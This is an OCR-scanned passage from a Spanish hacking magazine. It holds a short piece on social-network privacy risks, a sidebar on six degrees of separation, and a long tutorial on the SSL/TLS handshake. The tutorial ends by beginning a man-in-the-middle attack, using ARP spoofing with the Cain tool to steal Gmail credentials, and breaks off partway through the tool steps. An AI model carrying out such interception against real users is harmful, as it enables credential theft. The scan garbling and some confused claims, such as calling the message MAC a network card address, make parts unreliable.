En un reciente estudio, McAfee alertaba
sobre el riesgo que suponia publicar in-
formacion personal en sitios de Internet.
Segun la conocida compafila de U
ridad, se asegura que los gfgup:::s delic-
tivos que operan en la red financian los
estudios informdticos de algunos jovenes,
con ¢l objetive de que se formen en ma-
terias que en el future pueden ayudarles
a alcanzar puestos en empresas que les
interesan (esto me suena mds a algo tipo
secta los “llluminati” de Dan Brown). En
ese sentido McAfee destaca la importan-
cia que esti teniendo la influencia del
movimiento Web 2.0 que promociona las
relaciones sociales dentro de Internet y la
creacidn de contenidos por parte de los
internautas

Continda advirtiendo que las redes socia-
les estin convirtiéndose en un vehiculo
ideal para los delincuentes tecnoldgicos
debido, entre otras cosas a la vulnerabi-
lidad inherente de su propia naturaleza:
una red social genera una falsa confianza
que favorece el que los usuarios faciliten
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datos nales (por ejemplo durante la
creacion de un perfil en la ) sin cues-
tionarse realmente las consecuencias gue
esto puede llegar a suponer y que sélo ocu-
rre en la red (la gente no suele ofrecer sus
datos personales a desconocidos en la ca-
lle, jverdad?). Un verdadero filén de datos
para usuarios maliciosos que ahonden en
técnicas de robos de identidad (phising).
;De qué sirven cortafuegos y antivirus ac-
tualizados si son los propios usuarios los
que proporcionan informacion personal a
quien quiera leerla?

DELITOS ¥ ABLISOS
Segun datos del FBI incluidos en el estu-
dio acciones fraudulentas derivadas de ro-

bos de identidad causan unas pérdidas de

LAS REDES SOCIALES ESTAN
CONVIRTIENDOSE EN UN VE-
HICULO IDEAL PARA LOS DE-
LINCUENTES TECNOLOGICOS

50,000 dolares a diez millones de empre-
sas vy consumidores de Estados Unidos.
Por otro lado, los medios de comunica-
cidn se han hecho eco recientemente de
noticias realmente tranquilizadoras
relacionadas con delitos que tienen como
[;L;ntn de partida las redes sociales. Entre
titulares que se han podido leer nos
encontramos noticias tan llamativas como
“lovenes neozelandeses ofrecian droga a
través de Bebo®, “Una chica californiana
de 13 afos, victima de abusos por MyS-
pace”, “Las autoridades de Belfast conster-
nadas por la violencia sectaria hallada en
algunos espacios de Bebo”, “Armestadas
diez personas en Brasil acusadas de ven-
der drogas a través de Orkut”, “Violadores
atraen a fiestas a chicas irlandesas median-
te Bebo®, “Mal uso de Facebook fuerza a
expulsar alumnos en colegios en Nueva

Jersey™ o “Arrestado
en India un estudian-
te gque cred en Orkut
una falsa cuenta des-
velando datos perso-
nales de una compa-
fiera”.
¥ es que las redes
sociales ejercen un
poder de atraccion
irresistible para los
mds jovenes que ven
en estos sitios
un lugar perfecto en
donde crear su pro-
Ein mundo y contro-

r las relaciones que
establece con
demds, algo que en
muchos casos es ob-
viado por los propios
padres que no les
dan la importancia
fue Se MEerecen.
De momento, y debi-
do a la presidn de los
miedios g de la opi
nién pdblica, Orkut,
MySpace y Bebo es-
tin aplicando medidas de seguridad para
frenar el abuso por gente que se acerca
a estos sitios con turbias intenciones. Por
lo pronto consisten en mecanismos de de-
nuncia atendidos por una oficina central
propia, o incluso desviados hacia las au-
toridades competentes. También se estdn
redoblando esfuerzos de cara a controlar
v disminuir el uso entre los mis pequedos
(Bebo limita la edad a los 13 afos, Orkut y
MySpace a los 14) e impedir la falsificacion
de la edad, tanto de esos menores como
de los pederastas que se hagan pasar por
jovenes, aunque de momento parece ser
gue es una tarea muy complicada.

or ello, parece ser que la mejor manera
de controlar los efectos que pueda causar

un mal uso de las redes sociales, por lo me-
nos por parte de los padres, es conocerlas
v ensenar a los menores a usarlas con res-
ponsabilidad va que, aunque ciertamente
parte del riesgo pr e la difusion de
datos personales, puede llegar a darse la
situacitn de que el problema surja de un
uso excesivo de una herramienta que ab-
sorba por completo el tiempo de sus usua-
rios, anulando paraddjicamente la percep-
citn de lo que es realmente social, esto es,
lo tangible, la vida.

Nicolis Veldsquez Espinel

LA TEORIA DE LOS SEIS GRADOS DE SEPARACION

Las redes sociales se basan fundamental.
mente @n lo que se conoce comao la teoria
de los Seis Grados de Separacidn que ba-
Sil. amenfe IIH]-I'JIZ-IFH:' T]l_]l.’ II_‘IT_:I'!-. i}[_’r!-il INAS CLld-
lesquiera del mundo estan relacionadas
entre si por un maximo de 6 personas.

Esta teoria, cuya propuesta inicial aparecio
en 1929 de manos del hingaro Frigves
Karinthy, en un relato lamado “Chains”
(cadenas), fue lormulada y demostrada
en un experimento en el afo 1967 por el
conocido psicdlogo Stanley Milgram de la
Universidad de Harvard. Recientemente
Duncan ], Watts, de la Universidad de Co-
lumbia, ha repetido el experimento, pero
a nivel mundial mediante el email, verifi-
caido lo concluido por Milgram. De he-
che, existe una patente en EEUU conocida
como “six degrees patent” por la que va
han pagado Tribe v Linkedin (incluso hay
otras muchas patentes que protegen la

tecnologia para automatizar la creacion de
redes v las aplicaciones relacionadas con
éstas). El tema consiguié captar bastante
atencion con la pelicula de 1993 Six De-
grees of Separation (Seis grados de sepa-
racion) v la publicacidn en el afo 2000 del
bestseller The Tipping Point.

En las redes sociales las personas que per-
tenezcan al primer grado serdn las mas
allegadas v a las que se conoce directa-
mente. A medida que se va avanzando en
el grado de separacion, disminuye la rela-
citn y el nivel de confianza, pero se amplia
el rango. El usuario que se ponga en con-
tacto con miembros de la red situados a &
grados es consciente de que han sido sus
propios contactos los que le han derivado
a esa persona. El método funciona como
un filtro yva que en principio las identidades
siempre quedan aseguradas. Todo el mun-
do es quién dice ser.

En lo relativo a esta teoria incluso hay un
divertido juego que se aprovecha de la
idea de los seis grados de separacion v
gque tiene como protagonista el actor Ke-
vin Bacon. El juego consiste en pensar en
el nombre de un actor o actriz, actual o
no, y tratar de conectarlo con Kevin Bacon
(la relacion entre dos actores debe ser “ac-
tud en la misma pelicula que”™). Se puede
empezar por ejemplo®ton: Marlon Brando
actud con Al Pacino en El Padrino, Al Paci-
no actud con Keanu Reeves en El abogado
del diablo. Keanu Reeves trabajo con San-
dra Bullock en Alta velocidad... v bueno,
asi hasta llegar a Kevin Bacon.

Si nos perdemos, el Oriculo de Kevin Ba-
con  [hitp:

nos [}IJF.'.EEL‘ echar una mano.
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QIIEI'MII |El:tﬂr, con este articulo en-
contraremos la respuesta a estas y olras
preguntas que podemos formularnos.
Romperemos la seguridad de una cone-
xién establecida mediante HTTP SSL =
HTTPs v nos haremos con el nombre de
usuario y contrasefia de un usuario que
intenta conectarse con uno de los gran-
des monstruos de servicio de correo
electrénico gratuito.

Saludos, mis queridas mentes inquietas, -
<|=)[n]. Agui estamos otra vez mds armo-
jando un poco de luz, o, quizis,
escondiéndonos bajo la sombra. Este mes
traigo un articulo mds que interesante y
sorprendente. Querdo lector, si creias es-
tar seguro cuando establecias conexiones
seguras mediante S5L, lamento decirte
que en ocasiones esa seguridad puede re-
sultar DEFICIENTE o EXTREMADAMENTE
INSEGURA,

Piensa en la cantidad de veces que has es-
tablecido conexiones S5L: cuando te co-
nectas a un servidor FTP, cuando
visualizas tu corren, cuando te conectas a
una pdgina web con autenticacion, cuan-
do te introduces en tu router para configu-
rarlo... Incluso piensa en las veces que has
utilizado este protocolo para enviar datos
personales que no deseas que nadie visua-
lice. ¥ por si fuera poco, y extremadamen-
te escalofriante, piensa en las veces que
has establecido conexiones S5L para co-
nectarte con tu banco ondine y compro-

O

sestamos seguros detras denuestras rpﬂ'pc?

bar el estado de tus cuentas. Ahora pien-
sa, jcuando establecia estas conexiones
mediante 55L estaba realmente convenci-
do que estaba seguro utilizéndolas? jo
quizds todo era un verdadero espejismot

El protocolo SLL

(Secure Sockets Layer)

55L son las siglas de Secure Sockets La-
yer, Seguridad en la capa de transporte. El
protocolo SSL proporciona autenticacion
y privacidad de la informacion que viaja
por la red, todo ello mediante el uso de la
conocidisima criptografia (arte de cifrar y
descifrar informacién utilizando técnicas
matemadticas). MNormalmente, solo el servi-
dor es autentificado, solo se garantiza su
identidad, mientras que el cliente se man-
tiene sin identificar.

Para la identificacion mutua requiere un
despliegue de infraestructura de claves
piblicas para los clientes. Los protocolos
permiten a las aplicaciones cliente servi-
dor comunicarse de una forma disefada
para prevenir el eavesdropping (ataque,
escuchar secretamente), falsificar la identi-
dad del remitente y mantener la integri-
dad del mensaje enviado.

SSL necesita:

- Negociar el algoritmo que se utilizard en
la comunicacidn (cliente servidor).

- Intercambiar las claves publicas v auten-
ticacion basada en certificados digitales.

- Encriptacion basado en cifrado simétrico

Los algoritmos de cifrado que podemos
encontrar son:

- Clave piblica: RSA, Deffie-Hellman
DSA, Fortezaa.

- Para cifrado simétrico: RC2, RC4, IDEA
DES, Triple DES, AES.

- Con funciones hash: MD5 o de la famil.
SHA.

551 se localiza en una capa entre los pro
tocolos de aplicacidén como HTTP y sobre
el protocolo de transporte TCP, que for
ma parte de la familia de protocolos
TCP/IP. El modelo OS5Iy TCP/IP ya lo he
mos estudiado en otros articulos, en Hack
WiFi v en Técnicas de Sniffing. 5i tienes at
guna duda puedes releer estos articulos

55L puede proporcionar seguridad a cual
quier protocolo que use conexiones de
confianza, en este caso lo utilizaremo-
con el protecolo HTTP (HTTP + S5L), par:
formar HTTPS. Ya que este se utiliza par:
asegurar paginas WEB (WWW), utilizande
certificados de clave piblica para verifica
la identidad de los externos.

Este protocolo fue desarrollado por Nets
cape. Su version 3.0 se publicd en 1996 .
mds tarde sirvié para desarrollar TL®
(Transport Layer Security), un estandar o
protocolo |ETF (Internet Engineering Tas
Force, en castellano Grupo de Trabajo «



Ingenieria de Internet), organizacion inter-
nacional abierta de normalizacidn gue tie-
ne como objetivo el ayudar a la ingenieria
de Internet, actuando en dreas como
transporte v seguridad.

S5L opera de una manera modular: sus
autores lo disefiaron extensible, con so-
porte para compatibilidad hacia delante y
hacia atrds, v negociacidn entre las partes
(peer-to-peer).

Caracteristicas de SS

El objetivo inicial del disefio del protocolo
SSL (Secure Sockets Layer) fue proteger
las conexiones entre clientes y servidores
WEB con el protocolo HTTP. Esta protec-
cién debia permitir al cliente asegurarse
de que se habia conectado al servidor
auténtico, y enviarle datos confidenciales,
como por ejfemplo un ndmero de larjeta
de crédito, con la confianza de que nadie
mds que el servidor seria capaz de ver es-
tos datos.

Las funciones de seguridad no se implemen-
taron directamente en el protocolo de apli-
cacion HTTP. Se decidié por introducirlas
en la capa de nivel de transporte. De este
modo podria haber muchas més aplicacio-
nes que hicieran uso de esta fundonalidad.

Con este objetivo se desarrolld una inter-
faz de acceso a los servicios del nivel de
transporte basada en la interfaz estindar
de los sockets. En esta nueva interfaz, fun-
ciones como connect, accept, send o
recv fueron sustituidas por otras equiva-
lentes pero que utilizaban un protocolo
de transporte seguro: 5SL_connect,
S5L_accept, SSL_send, S5L_recv, etc. El di-
seno se realizd de tal modo que cualquier
aplicacién que utilizara TCP a través de
las llamadas de los sockets podia hacer
uso del protocolo 550 solamente cam-
biando estas llamadas. De aqui proviene
&l nombre del protocolo.

Senriaof.‘ de seguridad del
protocolo SSL

- Confidencialidad: El flujo normal de in-
formaciéin en una conexion S5L/TLS con-
siste en intercambiar paquetes con datos
cifrados mediante claves simétricas, todo
ello por motivos de eficiencia y rapidez.

Al inicio de cada sesidn, cliente y servidor
se ponen de acuerdo sobre qué claves
utilizardn para cifrar los datos. Siempre se
utilizan dos claves distintas: una para los
paquetes enviados del cliente al servidor,
v la otra para los paquetes enviados en
sentido contrario.
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Estructura de la capa SSL / TLS
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Para evitar que un usuario malintenciona-
do pueda escuchar o capturar la cone-
xitn, se sigue un patrdn seguro de claves,
basados en el mecanismo de clave publi-
ca (criptografia). Este algoritmo también
se utiliza durante el establecimiento de la
Conexion.

- Autenticacién de entidad: Con un proto-
colo de de reto-respuesta basado en fir-
mas digitales el cliente puede confirmar la
identidad verdadera del servidor al que
quiere conectarse, Para validar realmente
las firmas digitales el cliente necesita co-
nocer la clave publica del servidor, v esto
normalmente se realiza a través de certifi-
cados digitales.

La otra posibilidad seria que el diente se
autenticara contra el servidor al que quie-
re conectarse. Esta forma puede resultar
muy insegura ya que en lugar de autentifi-
car automdticamente al cliente a nivel de
trasporte de datos, las propias autentifica-
ciones utilizan su propio método de segu-
ridad. Este caso es el menos utilizado por
lo que acabamos de comentar.

- Autenticacion de mensaje: Los paquetes
enviados en una conexion S5L/TLS van ci-
frados y en ocasiones pueden incluir un
codigo MAC (acrénimo que ya hemos vis-
to en Técnicas de Sniffing) que es la direc-
cidn fisica de nuestra tarjeta de red. De
esta manera el destinatario podria com-

probar que realmente nadie se ha inter-
puesto entre la conexidn cliente - servi-
dor o que nadie a modificado susodicho
paquete. Las claves secretas para el cilcu-
lo de los codigos MAC, distintos para ca-
da sentido, se acuerdan también de forma
segura al inicio del dialogo.

Uno de los disefios mds interesantes de
comentar es la estabilidad. Al inicio de ca-
da sesidn, cliente y servidor negocian los
algoritmos que utilizaran para al intercam-
hio de claves, la autenticacion y el cifra-
do. Las especificaciones de los protocolos
incluyen unas combinaciones predefini-
das de algoritmos criptograficos, pero de-
jan la posibilidad de afadir nuevos
algoritmos si se descubren otros que sean
mds eficientes y mas seguros.

El transporte seguro SSL/TLS

La capa de transporte seguro de 550L/TLS
se puede dividir en dos subcapas:

- Subcapa superior: Encargada de las ne-
gociar los pardmetros de seguridad v los
datos de la aplicacion. Estos se intercam-
bian #n mensajes.

- Subcapa inferior: Mensajes estructura-
dos en registros a los que se le aplica:
compresion, autenticacion v cifrado.

El protocolo de registros S5L / TLS es el
que permite que los datos protegidos se-

O
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Registros S5LTLS

an convenientemente codificados por el
emisor y interpretados por el receptor.
Los pardametros necesarios para la protec-
cidn, como pueden ser los algoritmos y
las claves, se establecen de forma segura
al inicio de la conexiéin mediante el proto-
colo de negociacidn SSL/TLS.

Fo de los regi
- - o
La informacién que se intercambian el

cliente y el servidor se empaqueta en re-
gistros, tiene este formato:

Contenido: El contenido de los datos pue-
de ser:

Mensaje del protocolo de negociacion,
Naotificacidn del cambio de cifrado.
Mensaje de error.

Datos de aplicacién.

Version 55L: Dos bytes que indican la ver-
sitin del protocolo S5L. Por ejemplo:

30: Version S5L 3.0
31: Versidn TLS 1.0

Longitud: Este registro indica el la longitud
del resto del registro.

Caso 1. Suma del registro DATOS mads
MAC

Caso 2. Con cifrado en blogue. Suma de
DATOS mads MAC mds Lp + 1

Datos: Datos comprimidos si se ha acor-
dado algin algoritmo de compresion.

MAC: Caodigo de autenticacion. En el cél-
culo de este MAC intervienen la clave
MAC, un nimero de secuendcia implicito
de 64 bits que se incrementa en cada re-
gistro pero no se incluye en ningln cam-
po y el contenido del registro.

CERTIFICADO DEL CLIENTE: UNA
VEZ QUE EL SERVIDOR HA ENVIADO
TODOS LOS PAQUETES INICIALES.
EL CLIENTE YA SABE COMO TIENE

QUE CONTINUAR CON EL PROTO-
COLO DE NEGOCIACION

La longitud de este campo depende del
algoritmo de MAC que se haya acordado
utilizar. Puede ser igual a O si se utiliza el
algoritmo nulo, que es el que se utiliza al
inicio de la negociacidn mientras no se ha
acordado ningdin otro.

Padding: Si se ha acordado utilizar un algo-
ritmo en bloque para cifrar los datos es pre-
ciso anadir bytes adicionales a cada registro
para tener para tener un nimero total que
sea miltiple de la longitud del bloque.

Para saber cudntos bytes adicionales hay
es poner al menos uno, v el valor del dlti-
mo byte siempre indica cuantos otros by-
tes de padding hay antes. Este valor
puede ser 0 si sdlo faltaba un byte para
tener un blogque entero.

En la fase de negociacidn, mientras no se
hayan acordado los algoritmos los regis-
tros no se cifran ni se autentican, es decir,
se aplican algoritmos nulos. Todo el pro-
ceso de negociacion queda autenticado a
posteriori.

La negociacion SSL / TLS

El protocolo de negociacion S5L/TLS, tam-
bién llamado protocolo de encajada de
manos, tiene por finalidad autenticar el
cliente y al servidor, y acordar los algorit-
mos y claves que se utilizarin de forma
segura, garantizando la confidencialidad y
la integridad de la negociacion,

Como todos los mensajes 55L/TLS, los
mensajes del protocolo de negociacion se
incluyen dentro del campo de datos de

los registros SSL/TLS para ser transmitidos
al destinatario.

El contenido del mensaje tendrd unos de-
terminados campos dependiendo del tipo
de mensaje de negociacidn del que se tra-
te. En total hay 10 tipos distintos (ordena-
dos por orden de envio):

Primero. Peticion de saludo
Hello request. Cuando se establece una
conexion pueden suceder dos cosas:

- El servidor espera que el cliente inicie la
negociacion.

- El servidor envia un mensaje Hello Re-
quest para indicar al cliente que estd pre-
parado para empezar con la negociacion

5i el servidor durante la sesion quisiera
una nueva negociacion, podra indicarlo
enviando este mismo paquete al cliente.

Segundo. El saludo del cliente

Client Hello. El cliente envia este mensaje:

- Para establecer una sesién con el servi
dor.

- Para responder una peticidn Hello re-
quest.

Este paquete contiene: la version del pro-
tocolo, una cadena de 32 bytes aleato-
rios, opcionalmente un identificador de
una sesién anterior (para volver a utilizar
los parametros acordados), la lista de las
combinaciones de algoritmos criptografi-
cos que el cliente ofrece utilizar, por or-
den de preferencia. Cada combinacidn
incluye el algoritmo de cifrado, el algorit-
mo de MAC y el método de intercambio
de claves.

Los algoritmos criptogrificos pueden ser:

- Cifrado: RC4, DES, Triple DES, RC2,
IDEA v FORTEZZA (este dltimo sdlo en
SSL 3.0).

- MALC: MD5 y SHA-1

- Intercambio de claves: R5A, Diffie-Hell-
man y FORTEZZA KEA (este dGltimo sdlo
en 55L 3.0).

Si solamente interesa autenticar la cone-
xidn, sin confidencialidad, también se
puede usar el algoritmo de cifrado nulo.

¥ por dltimo, la lista de los algoritmos de
compresion ofrecidos, por orden de pre-
ferencia (como minimo debe haber uno
aunque sea el algoritmo nulo).



Tercero. Saludo del servidor
Server Hello. El servidor envia como res-
puesta este paguete. En este paquete se
enviara:

- La version del protocolo que se utilizara
en la conexidn. La versidn serd la misma
que indicd el cliente con anterioridad.
Stiempre y cuando dicha versidn sea so-
portada por el servidor. De lo contrario el
servidor utilizara una version anterior.

- Una cadena de 32 bytes aleatorios.

- Un identificador de la sesidn actual.
Siempre y cuando el cliente envid uno y
el servidor quiere reprender la sesion co-
rrespondiente, entonces debe de respon-
der con el mismo identificador de sesion,
Si el servidor no quiere o no puede re-
prender la sesion, el identificador serd di-
ferente. Otra posibilidad también es que
el servidor puede no enviar ningin identi-
ficador para indicar que la sesidn actual
no podra ser reprendida.

- La combinacion de algoritmos criptogra-
ficos escogida por el servidor de entre la
lista de las enviadas por el cliente. Si se
reemprende una sesidn anterior, esta
combinacién debe de ser la misma que
se utilizd entonces,

- El algoritmo de compresion escogido
por el servidor, o el que se utilizé en la
sesidn que se reemprende.

Si se ha decidido continuar una sesion an-
terior, cliente v servidor yva pueden empe-
zar a utilizar los algoritmos v claves
previamente acordados y se saltan los
mensajes que vienen a continuacion pa-
sando directamente a los de finalizacidn
de la negociacién (mensajes Finished).

uarto. Ce de servidor

Intercambio de claves servidor
Si el servidor puede autenticarse frente al
cliente, envia un paquete Certificate (cer-
tificado). Este paquete normalmente con-
tendrd el certificado X.509 del servidor, o
una cadena de certificados.

Si el servidor no tiene certificado, o se ha
acordado un método de intercambio de
claves que no precisa de él, debe mandar
un mensaje Server KeyExchange, que
contiene los parimetros necesarios para
el método a seguir.

Quinto. Peticion de certificado
Certificate Request. En caso en que se de-
ba de realizar también la autenticacidn
del cliente, el servidor le envia un paque-

te Certificate request. Este mensaje con-
tiene una lista de los posibles tipos de
certificado que el servidor puede admitir,
por orden de preferencia, y una lista de
los DN de las autoridades de certificacion
que el servidor reconoce.

Sexto. Final del salud
del servidor

Server Hello Done. Para terminar esta pri-
mera fase del didlogo, el servidor envia
un mensaje Server Hello Done.

Séptimo. Certificado del cliente
Lina vez que el servidor ha enviado todos
los paquetes iniciales, El cliente ya sabe
cdmo tiene que continuar con el protoco-
lo de negociacion. Si el servidor le ha pe-
dido un certificado (certificate) el cliente
debe de enviarle un paquete certificate,
siempre v cuando dicho paquete de soli-
citud del servidor tenga dichas caracteris-
ticas solicitadas.

CLIENT KEY EXCHANGE. EL CLIEN-
TE ENVIA UN MENSAJE CLIENT
KEY EXCHANGE, EL CONTENIDO
DEL CUAL DEPENDE DEL METODO
DE INTERCAMBIO DE CLAVES
ACORDADO

vo. Intercambio de claves
e cliente

Client Key Exchange. El cliente envia un
mensaje Client Key Exchange, el conteni-
do del cual depende del método de inter-
cambio de claves acordado. En caso de
seguir el método RSA, en este mensaje
hay una cadena de 48 bytes que se usara
como secreto pre-maestro, cifrada con la
clave piblica del servidor.

Entonces, cliente y servidor calculan el se-
creto maestro, que es otra cadena de 48 by-
tes. Para realizar esta cdlculo, se aplican
funciones hash al secreto pre-maestro y a las
cadenas aleatorias que se enviaron en los
mensajes de saludo. A partir del secreto ma-
estro y las cadenas aleatorias, se obtienen:

- Las dos claves para el cifrado simétrico
de los datos (una para cada sentido, clien-
te - servidor y servidor - cliente).

- Las dos claves MAC (también una para
cada sentido).

- Los dos vectores de inicializacion para
el cifrado, si se utiliza un algoritmo en
blogue.

Noveno. Verificacion de
cado
Certificate Verify. Si el cliente ha enviado

TECNICAS DE SNIFFING

un certificado en respuesta a un paguete
Certificate Request, ya puede autenticarse
demostrando que posee la clave privada
correspondiente mediante un mensaje
Certificate Verify. Este mensaje contiene
una firma, generada con la dave privada
del cliente, de una cadena de bytes obte-
nida a partir de la concatenacidn de todos
los mensajes de negociacidn intercambia-
dos hasta el momento, desde el Client He-
llo hasta el Client Key Exchange.

Décimo y dltimo. Finalizacion
Finished. A partir de este mismo momen-
to servidor y cliente ya podrdn utilizar los
algoritmos criptograficos negociados. Ca-
da parte de la negociacidn envia un notifi-
cacién de cambio de cifrado seguida de
un mensaje Finished. La notificacidn de
cambio de cifrado sirve para indicar que
el siguiente mensaje serd el primer envia-
do con los nuevos algoritmos y claves.

El mensaje Finished sigue inmediatamente
la notificacion de cambio de cifrado. Su
contenido se obtiene aplicando funciones
hash al secreto maestro y a la concatena-
cion de todos los mensajes de negocia-
cion intercambiados, desde el Client
Hello hasta el anterior a este (incluyendo
el mensaje Finished de la otra parte). Nor-
malmente, serd el cliente el primero en
enviar el paquete Finished, pero en el ca-
s0 de reemprender una sesion anterior,
sera el servidor quien lo enviarda primero,
justo después del Server Hello.

El contenido del mensaje Finished sirve
para verificar que la negociacidn se ha lle-
vado a cabo correctamente. Este mensaje
también permite autenticar el servidor
frente al cliente, ya que el primero necesi-
ta su clave privada para descifrar el men-
saje Client Key Exchange y obtener las
claves que se usaran en la comunicacion,

Una vez enviado el mensaje Finished, se
da por acabada la negociacion. Cliente y
servidor pueden empezar a enviar los da-
tos de la paliacién utilizando los algorit-
maos y claves ordenados.

Resumen de todo lo anterior
A vuelta de pdgina os dejo una imagen
que resume el proceso recién explicado.

También os dejo otra resumen-imagen de
una conexidn S5L / TLS reemprendida.

Aparte de los pagquetes de negociacion,
notificacion de cambio de cifrado, datos
de aplicacion... también se pueden enviar
paquetes de error.
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Conexitn reemprendida
Estos paquetes pueden ser:

Paquetes de aviso.
Paquetes de error fatal.

Y un cddigo de descripcidn del error. Un
error fatal provoca el fin de la conexidn vy la
invalidacién del identificador de sesién co-
rrespondiente, es decir, la sesién no podra
ser reemprendida. Son ejemplos de errores

0=

fatales: MAC incorrecto, tipo de mensaje
inesperado, error de negodacion, etc. TLS
1.0 prevé mas codigos de emror que S5L 3.0.

También se puede enviar un mensaje de
aviso para indicar el fin normal de la co-
nexidn. Para evitar ataques de trunca-
miento, si una conexidn acaba sin haber
enviado este aviso se invalidard su identi-
ficador de sesidn.

Ahora que ya tenemos unas nociones
mas que interesantes sobre el protocolo
55L / TLS pasemos a hablar de su seguri-
dad y a los ataques que estd expuesto.

La ridad y la inseguridad.
L verdadera realidad
Empecemos citando todos aquellos ata-
ques que el protocolo SSL / TLS estd di-
sefiado para resistir:

Sniffing: Aungue un usuario malintenciona-
do pudiera esnifar una conexidn S5L (por
ejemplo HTTPS) mediante técnicas de snif-
fing, bien utilizando ARP Spoof para un
medio conmutade o simplemente ponien-
do la tarjeta de red en modo promiscuo
no podria entender los paquetes recogi-
dos de la conexién 55L, para el caso
HTTPS. Estos paquetes viajan cifrados. Pa-
ra ello tendriamos que romper el cifrado.

Las claves que se utilizan para el cifrado se
intercambian con métodos de clave pibli-
ca, que el usuario malintencionado tendria

que romper para poder visualizar el conte-
nido de los paquetes secuestrados.

En todo caso, se advierte, que dependien-
do de la aplicacidn que ulilice este proto-
colo puede ser objeto de ataques con
texto plano conocido. Por ejemplo, con
HTTP.

Otro ataque posible es utilizando un ata-
que man in the midle, hombre en el me-
dio, que justamente es el ataque que
explicamos en el primer articulo de Técni-
cas de Sniffing, el envenenamiento ARP o
ARP Spoof. 5i la comunicacidon es andni-
ma, es decir, si el cliente y el servidor no
utilizan autenticacicn,

Con este ataque el usuario malintenciona-
do crearia sus propias claves piblicas y
privadas. Cuando una parte envia a la
otra informacidn sobre su clave piblica,
tanto en un sentido como en el otro, el
atacante la intercepta y la sustituye por la
equivalente con la clave piblica fraudu-
lenta. Dado que el intercambio es andni-
mo, el receptor no tiene manera de saber
si la clave pdblica que recibe es la del
emisor auténtico o no.

En cambio, si se realiza la autenticacion
de servidor y/o cliente, es necesario en-
viar un certificado donde tiene que haber
la clave piblica del emisor firmada por
una autoridad de certificacién que el re-
ceptor reconozca, y por tanto, no puede
ser sustituida por otra.

Suplantacidn de la autenticacién del servi-



dor o cliente: Cuando se utiliza la autenti-
cacion, el servidor o el cliente el certifica-
do digital firmado por una CA sirve para
verificar la identidad de su propietario.
Tanto en una red con compartida (hub)
como con en una red conmutada (switch)
debemos de realizar un atague man in
the midle, ARP Spoof o envenenamiento
ARP. (Explicado en Técnicas de Sniffing).
Antes de seguir expliquemos qué es una
CA y un certificado digital.

Certificado Digital: Un certificado digital
es un documento digital mediante el cual
una autoridad de certificacion garantiza la
vinculacién entre la identidad de un suje-
to o entidad y su clave padblica.

Si bien existen formatos de certificado di-
gital, los mds comiinmente empleados se
rigen por el estindar UIT-T X.509v3. El
certificado contiene usualmente el nom-
bre de la entidad certificada, un nimero
serial, fecha de expiracidn, una copia de la
clave piblica del titular del certificado (uti-
lizada para la verificacion de su firma digi-
tal), y la firma digital de la autoridad
emisora del certificado de forma que el re-
ceptor pueda verificar que el esta dltima
ha establecido realmente la asociacidn.

CA: Centificate Authoriry, (Autoridad de
certificacién). Es una entidad que verifica
la identidad del usuario a través de una
serie de requisitos y, como resultado, emi-
te un certificado digital.

Alteracion de los paquetes. Un atacante
puede modificar los paquetes para que lle-
guen al destinatario con un contenido dis-
tinto del original (si estin cifrados no podra
controlar cual serd el contenido final desci-
frado, solamente sabrd que serd distinto al
original). 5i pasa esto, el receptor detectard
que el paquete ha sido alterado porque el
codigo de autenticacién (MAC) casi con
total seguridad serd incorrecto.

Si la alteracion se realiza en los mensajes
de negociacidn cuando adn no se aplica
ningun codigo MAC, con la finalidad por
ejemplo de forzar la adopcidon de algorit-
mos criptograficos mas débiles v vulnera-
bles, esta manipulaciin serd detectada en
la verificacion de los mensajes Finished.

Repeticidn, eliminacion o reordenacion
de paquetes. Si el atacante vuelve a en-
viar un paquete correcto que yva habia si-
do enviado antes, o suprime algdn
paquete haciendo que no llegue a su des-
tino, o los cambia de orden, el receptor lo
detectard porque los cddigos MAC no
coincidirdn con el valor esperado.
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Esto es asi porque en el cilculo del MAC
se utiliza un nimero de secuencia que se
va incrementando en cada paquete. Tam-
poco se pueden copiar los mensajes en-
viados en un sentido (de cliente a
servidor o de servidor a cliente) al sentido
contrario, porque en los dos flujos de la
comunicacion se utilizan claves de ciira-
do y de MAC diferentes.

Como consideracion final, cabe destacar
que la fortaleza de los protocolos seguros
recae no solamente en su disefo sino en
el de las implementaciones. Si una imple-
mentacion solamente soporta algoritmos
criptograficos débiles (con pocos bits de
clave), o genera nimeros pseudoaleatd-
rios facilmente predecibles, o guarda los
valores secretos en almacenamiento (me-
moria o disco) accesible por atacantes,
elc... no estard garantizando la seguridad
del protocolo. Pasemos ahora a describir
un ataque real.

Atacando una conexion SSL

Mo puedo empezar este apartado sin an-
tes decir... Queridos Lectores, jjbienveni-
dos a la realidad!! La seguridad total NO
EXISTE. Pasemos a Comprobarlo. El ata-
que lo realizaremos desde Windows XP.
la_herramienta que utilizaremos para lle-
var a cabo este ataque serd CAIN, un snif-
fer libre para plataformas Microsft
Windows. El escenario es el siguiente;

En una red, bien sea la de un colegio, la

de un cibercafé o incluso tu propia red
inalimbrica protegida existe un usuario
que quiere conectarse a su cuenta de co-
rreo de Gmail. Recordad que Gmail utili-
za HTTPS. El objetivo del atacante es
hacerse con el usuario y la contrasefia de
dicho usuario.

Para poder realizar el ataque con éxito
necesitamos ponernos entre el PC Victi-
ma y el servidor de Gmail, de esta mane-
ra el trifico que trascurra entre PC
Victima y el servidor de Gmail pasara por
nosotros y le sera reenviado a su verdade-
ro destinatario.

Para ponemos en el medio de una cone-
xidn tenemos que envenenar la caché
ARP REPLY de los PC que estian conecta-
dos, haciéndoles creer que somos real-
mente el verdadero destinatario, v una
vez que capturemos ese trifico debemos
de reenviarlo a su verdadero destinatario.
Mo vamos a explicar todo el proceso para
realizar un ataque man in the midle o en-
venenamiento ARP, eso ya lo hemos visto
mas de una vez en @mroba.

Da igual cual sea la arquitectura de la red,
en cualguier caso sea conmutada o com-
partida debemos hacer un man in the
midle. Para este ataque es necesario. Para
ponernos entre el PC Victima y el servi-
dor de Gmail debemos de envenenar la
tabla caché ARP Reply del PC Victima y
del Router de la red.

(o I8



Rompiendo la seguridad.
jiEl usuario y co na es
nuestro!!

Podéis descargaros CAIN de la siguiente
direccidn: hitps//www.oxid.it

Una vez que lo descarguéis y paséis a la
instalacion no debéis olvidaros de instalar

WiPCap. Os preguntara al final de la ins-
talacién si queréis instalarla. A lo que con-
testaréis que si. Una vez instalado CAIN
lo ejecutamos. Inicio - Todos los progra-
mas - CAIN- Cain.exe

Pulsamos sobre la pestaiia sniffer, luego so-
bre la subpestafia ARP. Pulsamos sobre el
mas azul que encontramos en la parte su-
perior y nos encontraremos con la siguien-

te ventana. (ver imagen “pulsamos...”)

